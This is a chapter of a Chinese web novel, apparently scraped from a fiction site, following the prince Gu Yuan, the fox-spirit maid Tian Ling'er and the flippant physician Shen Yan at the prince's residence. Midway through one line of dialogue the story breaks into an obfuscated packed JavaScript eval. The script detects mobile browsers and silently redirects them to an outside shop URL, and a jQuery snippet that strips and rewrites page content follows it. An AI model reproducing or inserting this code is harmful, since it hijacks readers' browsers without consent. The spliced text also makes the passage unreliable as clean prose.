顾渊等人避开杀手埋伏又躲过诸多耳目眼线后,这才成功回到碌王府。只是迎接他们的不仅有府中一干奴仆,还有一排水灵的美人。
管事解释道,这十位美人是当今太后特赐碌王就藩的贺礼。
顾渊扯起嘴角,皮笑肉不笑道:“本王,多谢太后美意。”
管事目不斜视,低垂着脑袋上前问:“王爷,这些御赐美人该如何安排?”
顾渊挥了挥手,“随便找个院子安排进去即可。”
“是。”管事刚要退下。
"对了,去把姓沈的叫来,并且即刻对外散播本王在就藩途中遭遇几波刺客追杀,现下伤势严峻危在旦夕,拒不待客。"
管事满脸惶恐,“是。”他连忙亲自去前任太医令的沈府,求请有神医圣手美名的沈家公子。
顾渊喊来女管事,将天灵儿安置在府中枕云阁后,又衣食住行事无巨细的吩咐了下去,这才挥散了众人。
天灵儿打量着四周,心道明知他不简单,但未曾想他的来头还挺大,她早就听说过人间险恶了,诸如天子一怒伏尸百万,侯门将府尸骸累累等等,所以现在她的脸上一直保持着谨小慎微的神色。
顾渊见状,安抚道:“日后你就在这住下,遇到任何事都可以跟我说。”
天灵儿垂下眼眸,“多谢王爷,奴家此番途中若有冒犯王爷,还请王爷莫要怪罪。”
顾渊眉头不自觉拧起,为何听到她这般疏离的言语时,他的心里会如此不舒服。
他一时不知说什么,只好挥了挥手,“日后与我不必如此拘谨,之前是如何,今后便也是如何。”
天灵儿笑了一下,柔声下气道:“这不合规矩,尊卑有别的道理,奴家懂的。”
眼下她的身份只是一个小小丫鬟,他只需抬脚就能轻而易举把她踩死。这个实力差距,她哪里还敢肆意妄为。
更何况世人都不喜欢一朝得势便忘本的人。但身份卑微的女子偶然乍富时多少都会有些惶恐又兴奋,所以这个度她一定要保持在既要维持住先前小丫鬟的本色,又要展露出见识短浅的一面,以此才能打消他的顾虑。
顾渊的眉头拧成川字状,言语间竟不自觉放重了声量,“在这里,我就是规矩。”
天灵儿一抖,“是,王爷。不过奴家的伤势不要紧……”她顿住,改口道:“还请王爷尽快帮奴家更改户籍。待此事了,奴家便离去。”
顾渊压抑不住内心的怒火,“你就这么迫不及待的要走?”
天灵儿被他一吼,双眼瞬间通红,战战兢兢道:“奴家,奴家身份卑微,不敢叨扰。”
顾渊此时也发觉自己的反应太大了些,他负手在背转过身去,努力平心静气,“你多次救我,这份恩情我不会忘记,所以这里你想住多久就住多久。”
“多谢王爷好意,奴家不敢逾距,待户籍改好,奴家便去定州寻亲。”
顾渊胸膛起伏,他深吸一口气后,放缓语气道:“你姨母那里我自会派人帮你探寻,你且在这里安心养伤要紧。”
天灵儿点点头。
顾渊见她还是满身拘束的样子,便主动道:“我让你呆着你就呆着,哪那么多废话。不过我也不是白让你住的,我这府中多有眼线,我能信任的人不多,但你是其中一个。”
天灵儿克制上扬的嘴角,露出诧异的眼神看向他。
顾渊也陡然意识到话语的暧昧,便有些不自在,轻咳一声后道:“其中最先要解决的便是太后御赐的美人,过几日等你伤好后,你就帮我想个法子打发了她们。”
天灵儿眼波流转,“是。”
此刻屋内的气氛莫名有些凝滞,顾渊来回信步,嘴上催促着:“那个姓沈的怎么还不来。”
天灵儿好奇的问:“是谁呀?”
正说着呢,院子里便有人疾步而来,嘴里还喊着:“顾渊,顾渊,我来见你最后一面了。”
顾渊脸色一黑。
天灵儿探头去看,来人身着松石绿的杭绸,衣襟刺绣繁复,样式很是华丽浮夸,她视线上移,却不料此人长得甚合她心,一双狐狸眼风流多情,鼻梁高挺,嘴角噙着漫不经心的笑,整个人透出一股玩世不恭游戏人间之意,很有她们狐族的气质。
只是任谁来看,都不敢相信此人就是大名鼎鼎的神医圣手,而不是街边走鸡斗狗的纨绔子弟。
沈言在院中远远一看,就知道顾渊这厮死不了,他信步走入屋内,正要按照惯例讥讽几句时,却不料见他身后还有个貌若天仙的病美人。
他快步上前,“哎呀呀,这小美人怎的了?快与哥哥说说哪里痛,哥哥立刻马上来给你诊治。”
他想要越过顾渊走向天灵儿,却不料被一臂拦截。
他斜眼看过去,满脸嫌恶,“喂喂喂,顾渊你这是何意?阻我姻缘天打雷劈。”
顾渊冷笑一声,“她是我带回的,与你有半毛钱的姻缘。”
沈言的视线在他与天灵儿之间来回梭巡,而后露出耐人寻味的表情。
他抬手将顾渊手臂往上一甩,疾步上前,“好妹妹,你可是受他胁迫?莫怕莫怕,你说出来,哥哥我定会为你讨个公道。”说罢还冲小美人竖了个大拇指。
天灵儿被他逗得一笑,“公子说话好生有趣。”
顾渊见她笑得明艳,不由得心生气闷,方才她还一副要与他一刀两断的决绝模样,现在被沈言这厮轻浮浪荡子的两句逗弄就眉开眼笑的,呵!
沈言连连摇头,语气疼惜:“妹妹一脸病容,想必在此定然是难过的,不若随我回沈府,要多富贵倒也没有,但我的府中断然不会有什么勾心斗角尔虞我诈之流,你来我府后也能好生将养,早日痊愈。”
天灵儿被他说得都要心动了,只是她知道对方只有一半的真心,另一半不过是在试探顾渊。于是她笑了笑,“多谢公子好意,我在这里挺好的。”
攻略第十五步:坚定不移如影随形。
沈言眉头一挑,看向顾渊啧了一声,抬手拍了拍他的胸口,“多好的美人啊,你小子是有福了。”
顾渊听了天灵儿的回答后,确实浑身气闷都舒畅了,他也不再让沈言插科打诨,而是正言道:“你给她好好看一番。”
沈言笑得眯起眼睛,开口便是石破天惊,“行,那妹妹你把衣服脱/了吧。”
顾渊立刻挡在天灵儿身前,双眼瞪着他。
沈言见状捧腹大笑,“我就知道你小子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416325|200778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不舍得,哈哈哈哈……想不到你也有今天啊哈哈哈哈哈,你顾渊这下是真的栽了哈哈哈哈哈,真是把小爷逗笑了。”
顾渊这才反应过来,自己上当了,沈言这混蛋还是这么混不吝。
他握拳抵唇轻咳,一脸严肃,“别胡闹了,治伤要紧。”
沈言抬手擦了擦眼角,“行行行,知道了。”
他收敛神色,为天灵儿把脉后,执笔唰唰唰,药方一气呵成,说来话去,也不过是好好休息养伤,切莫大动干戈之类的话术。
事必,天灵儿便躺下休憩,女管事即刻安排了婢子抓药煎药等一干事务。
顾渊这才与沈言退出,两人并肩回了主院。
“你这伤可比小美人的重多了。”沈言一边说着,一边为他清洗包扎。
顾渊闭着眼不说话。
沈言抬眼仔细打量,“诶我说,你该不会真的对她上心了吧?”
顾渊倏地睁开眼,“别瞎说,她多次救我于危难,我只是感激她罢了。”
沈言扯了扯嘴角,一脸你看我信吗的神色。他悠悠一叹,“只要她的身份来路清白,收入房中也不算什么。”
顾渊蹙起眉,“这话你在我这里可以随口说说,但在她面前可别胡说八道。”
沈言呵笑一声,手上用力绑了个结,“死鸭子嘴硬。”
他站起身,将满手血污搁在盆里揉搓,一边感慨道:“你二哥还真是一如既往的心狠手辣啊,不过他的运气怎么这么背,安排了一路的追杀居然全都被你躲过了。”
顾渊扯了扯嘴角,“要不你替他给我来一刀?”
沈言笑了,抬手就往他伤口上重重一拍,“我说你是真不把我当兄弟啊,我在你眼里是那种人吗?杀了你对我有什么好处?我是能登基为皇啊,还是能坐拥天下啊?”
说到这,他啧了一声,“呸呸呸,谁要这些破东西,倒不如给我个天仙美人,哦不对,最好是两个,刚好可以左拥右抱,岂不美哉!”
顾渊也笑了,“行了,别嘴贫了,赶紧说说正事。”
“去、就你最无趣!”沈言小小吐槽了一句,这才收起风流样子。
说起正事时,他满脸认真的低声说着,顾渊则时不时颔首应和。
落地的轩窗阴影西移至消失,街边闹哄声响逐渐消停。
入夜后,万籁俱寂,顾渊刚睡下时,主院外面陡然有人高歌一曲,把他吓了一跳弹坐起身,他捏了捏鼻梁,喊了声:“山青,外面何人喧哗?”
山青点了蜡从耳房处走过来,解释道:“是太后御赐的王美人,据说喉清韵雅,所以每日夜里都会高唱入云,声动梁尘。”
顾渊:……“知道了,叫她别唱了。”
山青欸了一声后就退下了。
顾渊掀起被子蒙头盖下,原以为可以消停,却不料又来一个刘美人,据说是因为夜色朦胧以至于走错房门,误入他的屋内。
顾渊:……“山青!你睡死了是不是!?怎么什么人都放进来?”
山青汗颜,没有辩驳这位刘美人是爬窗而入的,他老老实实又勤勤恳恳把这位美人带走了。
接下来还有什么赵美人、宋美人等,就不再赘述了。